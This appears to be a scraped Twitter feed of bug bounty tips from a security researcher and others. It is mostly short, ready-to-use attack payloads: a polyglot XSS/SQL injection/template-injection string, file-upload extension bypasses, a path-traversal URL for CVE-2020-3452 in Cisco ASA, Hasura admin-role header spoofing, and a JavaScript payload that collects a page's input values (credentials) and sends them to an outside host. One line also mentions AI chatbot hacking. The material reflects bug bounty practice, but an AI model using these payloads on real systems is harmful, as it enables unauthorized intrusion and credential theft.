Hossam Sec

| Bug Bounty Hunter | | programmer |

[Hossam Sec @HossamSec]

To test XSS + SQLi + SSTI/CSTI with the same payload use :

'"><svg/onload=prompt(5);>{{7*7}}

' ==> for Sql injection

"><svg/onload=prompt(5);> ==> for XSS

{{7*7}} ==> for SSTI/CSTI
#bugbounty #infosec #TogetherWeHitHarder #bugbountyprotip #Pentesting #bugbountytips by me !

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

Iam in India with @StandoffBB team

Behold for the talk in 13/SEP in @bsidesahmedabad

With a so interesting topics
I will talk about

1 sourcegraph dorking
2IDORS /BAC via authorize burp Ext
3 with &without AI
4 AI chatbot hacking
5 Prompt from AI to other AI (Build your method in UI)
6 VirusTotal V2 scrip
7 #bugbountytip #bugbountytips a lot of tips

#bugbounty

[Hossam Sec @HossamSec]

Come back #Soon

[Sayaan Alam @ehsayaan]

An Awesome Account Takeover just by adding .json on endpoint by @SalahHasoneh1

#bugbounty #bugbountytip

[Hossam Sec @HossamSec]

@alicanact60 Great which program you reported these bugs ?

[Hugo Picanzo @hugopicanzo]

Im curious...

#bugbounty hunters out there... whats your age?

[JS0N Haddix @Jhaddix]

New tool to TBHM Recon, Favion Analysis with FavFreak by @0xAsm0d3us:

https://t.co/aa8vX7dI35

[Hossam Sec @HossamSec]

@thedawgyg @Hacker0x01 Great can i know what are the types pf the bugs ?

[Hossam Sec @HossamSec]

@thedawgyg @Hacker0x01 Great is that for subdomain of main domain or acquisition or a a domain belongs to vzm ?

[Sapra @0xsapra]

Extension list for File upload bugs

ASP: ".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer", "shtml"

PHP: php, php5, php3, php2, shtml, html, .php.png(double extension attack)

[Ahmed Aboul-Ela @aboul3la]

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

For example to read "/+CSCOE+/portal_inc.lua" file.

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Happy Hacking!

[Hossam Sec @HossamSec]

@threatintelctr @D0rkerDevil Any exploit code ?

[Hossam Sec @HossamSec]

@Shubham_4500 @Hacker0x01 Great what was the bug

[Hossam Sec @HossamSec]

@bbinfosec @troyhunt Link ?

[spidersec @SpiderSec]

Interesting Hasura GraphQL Framework Access Control Issue.

Found an authenticated endpoint "/script"

Added two headers to the existing request:

X-Hasura-Role: admin
X-Hasura-User-Id: 0

Was able to query as admin 😀

[xhzeem @xhzeem]

When you find XSS over open redirect on sign-in/up pages, just capture the credentials and hijack them 😉

PoC: javascript:inpts=document.querySelectorAll('input');info='';for(i=0;i<inpts.length;i++){info+=','+inputs[i].value};location.href='https://xhze.em/?'+info

#bugbountytip

[Hossam Sec @HossamSec]

@pyn3rd Can you share the exploit

[Hossam Sec @HossamSec]

@0xPMD Why

[Hossam Sec @HossamSec]

@ITSecurityguard Wut

[Hossam Sec @HossamSec]

@nnwakelam @0x_saudi Thanks leet